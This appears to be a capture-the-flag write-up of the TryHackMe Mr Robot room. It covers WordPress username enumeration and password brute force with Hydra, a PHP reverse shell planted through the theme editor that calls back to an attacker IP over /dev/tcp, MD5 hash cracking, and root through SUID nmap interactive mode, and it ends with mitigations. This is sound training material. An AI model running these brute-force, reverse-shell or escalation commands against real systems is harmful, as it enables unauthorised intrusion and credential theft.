Platform: TryHackMe · Difficulty: Medium · Category: WordPress Credential Brute Force / SUID GTFOBins
Introduction
Mr Robot CTF is themed around the TV show of the same name, and it earns its medium difficulty honestly: the username isn't guessable without a custom wordlist, the wordlist is enormous without deduplication, and the route to a shell via the WordPress theme editor requires persistence when the obvious Metasploit path stumbles. The escalation chain is short but elegant — a two-step hop through robot and straight to root via one of the most classic GTFOBins entries that exists: SUID nmap's --interactive mode, a feature removed from nmap years ago but preserved here as a deliberate challenge artefact.
Recon
rustscan -a 10.48.166.199 -r 1-65535 --ulimit 5000 -- -Pn -sC -sV
| Port | Service | Version |
|---|---|---|
| 22/tcp | SSH | OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 |
| 80/tcp | HTTP | Apache (WordPress) |
| 443/tcp | HTTPS | Apache (self-signed cert: www.example.com) |
Both ports 80 and 443 serve WordPress. The SSL cert is a generic placeholder — nothing to extract from it.
Feroxbuster confirmed the expected WordPress structure. One critical discovery:
200 http://10.48.166.199/robots.txt
User-agent: *
fsocity.dic
key-1-of-3.txt
Both files are listed without Disallow — explicitly announced rather than hidden. key-1-of-3.txt is the first flag. fsocity.dic is a 6.9MB custom wordlist.
wc -w fsocity.dic
# 858160
858,160 words — most of them duplicates. Running Hydra against this raw would take hours unnecessarily.
sort fsocity.dic | uniq -d > fs-list # repeated words
sort fsocity.dic | uniq -u >> fs-list # unique words
wc -w fs-list
# 11451
Down to 11,451 words — a 98.7% reduction. Hydra now finishes in minutes rather than hours.
Foothold
WordPress login error messages distinguish between "invalid username" and "wrong password for this username" — a classic username enumeration vector. This allows running Hydra in two separate, faster passes.
Pass 1 — username enumeration (failure string: "Invalid username"):
hydra -L fs-list -p test 10.48.166.199 \
http-post-form \
"/wp-login.php:log=^USER^&pwd=^PASS^:F=Invalid username" -t 30
[80][http-post-form] host: 10.48.166.199 login: elliot password: test
[80][http-post-form] host: 10.48.166.199 login: Elliot password: test
[80][http-post-form] host: 10.48.166.199 login: ELLIOT password: test
Username: elliot (all three case variants confirmed — WordPress login is case-insensitive for usernames).
Pass 2 — password brute force (failure string: "The password you entered for the username"):
hydra -l elliot -P fs-list 10.48.166.199 \
http-post-form \
"/wp-login.php:log=^USER^&pwd=^PASS^:F=The password you entered for the username" -t 30
[80][http-post-form] host: 10.48.166.199 login: elliot password: ER28-0652
Password: ER28-0652 — a reference to Elliot Alderson's employee ID from the show.
Logged into the WordPress admin panel. The Theme Editor (Appearance → Editor) allows direct PHP file editing. Target: archive.php in the Twenty Fifteen theme, a file that won't break site functionality if overwritten.
<?php
system("bash -c 'bash -i >& /dev/tcp/192.168.134.217/4444 0>&1'");
?>
Triggering the shell by visiting the archive page:
http://10.48.166.199/?cat=1
# listener
connect to [192.168.134.217] from (UNKNOWN) [10.48.166.199] 51092
daemon@ip-10-48-166-199:/...twentyfifteen$
Shell landed as daemon. Full stabilisation:
python -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
stty rows 40 columns 120
Shell / Access
ls /home/robot
# key-2-of-3.txt password.raw-md5
key-2-of-3.txt is permission-denied for daemon. But password.raw-md5 is readable:
cat /home/robot/password.raw-md5
# robot:c3fcd3d76192e4007dfb496cca67e13b
A raw MD5 hash for robot. John's auto-detection misidentified the format as LM and cracked nothing. Specifying the format explicitly:
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
abcdefghijklmnopqrstuvwxyz (robot)
Password: the entire lowercase alphabet in order.
su robot
# Password: abcdefghijklmnopqrstuvwxyz
robot@ip-10-48-166-199:~$ cat key-2-of-3.txt
822c73956184f694993bede3eb39f959
Escalation
find / -perm -u=s -type f 2>/dev/null
The standout entry:
/usr/local/bin/nmap
nmap v3.81 (an extremely old version from ~2005) included an --interactive mode that dropped users into an nmap shell. From that shell, !command executed arbitrary OS commands — and since nmap ran as root via SUID, those commands ran as root too. This feature was removed from nmap long before most modern systems shipped, but this box preserves it deliberately as the intended escalation path.
/usr/local/bin/nmap --interactive
Starting nmap V. 3.81
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
root@ip-10-48-166-199:~# cat /root/key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
Exploitation — The Full Chain
-
robots.txt→ key 1 +fsocity.dicwordlist - Wordlist deduplication → 858K → 11K words
-
Hydra pass 1 (username enum) →
elliot; pass 2 (password) →ER28-0652 -
WordPress theme editor →
archive.php→ bash reverse shell asdaemon -
password.raw-md5→ John (Raw-MD5) →abcdefghijklmnopqrstuvwxyz -
su robot→ key 2 -
SUID nmap
--interactive→!sh→ root → key 3
Rabbit Holes
Metasploit's wp_crop_rce failure. WPScan flagged CVE-2019-8942 — the same exploit that worked on the Blog box — and Metasploit's wp_crop_rce module was tried first. It failed to produce a session repeatedly without a clear error, possibly a WordPress configuration difference or the Bitnami installation layout affecting the image upload path. The theme editor manual approach worked cleanly where Metasploit didn't.
Manual theme editor shell, first attempt. Before landing on archive.php, the standard functions.php and header.php theme files were tried first. Multiple attempts failed — likely because the theme was actively serving requests and PHP syntax errors in core template files caused 500 responses before the shell could fire. Switching to archive.php and a clean one-liner resolved it.
John's auto-detection as LM format. Running john on the raw MD5 hash without specifying a format caused it to detect the hash as LM (Windows LAN Manager) and run the wrong algorithm, producing zero results. The filename password.raw-md5 was a direct hint about the format that went unread for longer than it should have.
!/bin/sh vs !sh in nmap interactive. The first attempt typed !/bin/sh and received "not found." The correct syntax drops the leading / — !sh works because sh is in the system PATH, while !/bin/sh is treated as the entire command literal including the exclamation mark prefix.
Flags
| Flag | Value | Location |
|---|---|---|
| Key 1 | 073403c8a58a1f80d943455fb30724b9 |
/key-1-of-3.txt (via robots.txt) |
| Key 2 | 822c73956184f694993bede3eb39f959 |
/home/robot/key-2-of-3.txt |
| Key 3 | 04787ddef27c3dee1ee161b21670b4e4 |
/root/key-3-of-3.txt |
Mitigations
| Vulnerability | Severity | Mitigation |
|---|---|---|
robots.txt listing sensitive files |
High |
robots.txt is public — never list sensitive paths; use proper access controls instead of obscurity |
| Custom wordlist served publicly | High | Never expose wordlists, dictionaries, or any non-public asset from the webroot |
| WordPress login username enumeration | Medium | Disable login error message differentiation (use a plugin or a filter on login_errors) |
| Weak WordPress password brute-forceable from a reduced wordlist | High | Use a randomly generated password; enable login attempt limiting |
| WordPress Theme Editor enabled for authenticated users | Critical | Disable the theme/plugin editor in wp-config.php: define('DISALLOW_FILE_EDIT', true)
|
| Raw MD5 password hash for a system user | Critical | Use properly salted hashes (bcrypt, sha512crypt) for system user passwords |
| SUID bit on ancient nmap v3.81 with interactive mode | Critical | Remove SUID from any binary not explicitly requiring it; replace with a modern nmap — interactive mode was removed specifically because of this escalation path |
Key Takeaway
Always deduplicate custom wordlists before feeding them to Hydra — 858,160 entries shrunk to 11,451 is a 75× speed improvement for zero information loss. The extra 30 seconds of sort | uniq preprocessing is the difference between a 5-minute brute force and an all-night one.
Room: TryHackMe — Mr Robot CTF
Top comments (0)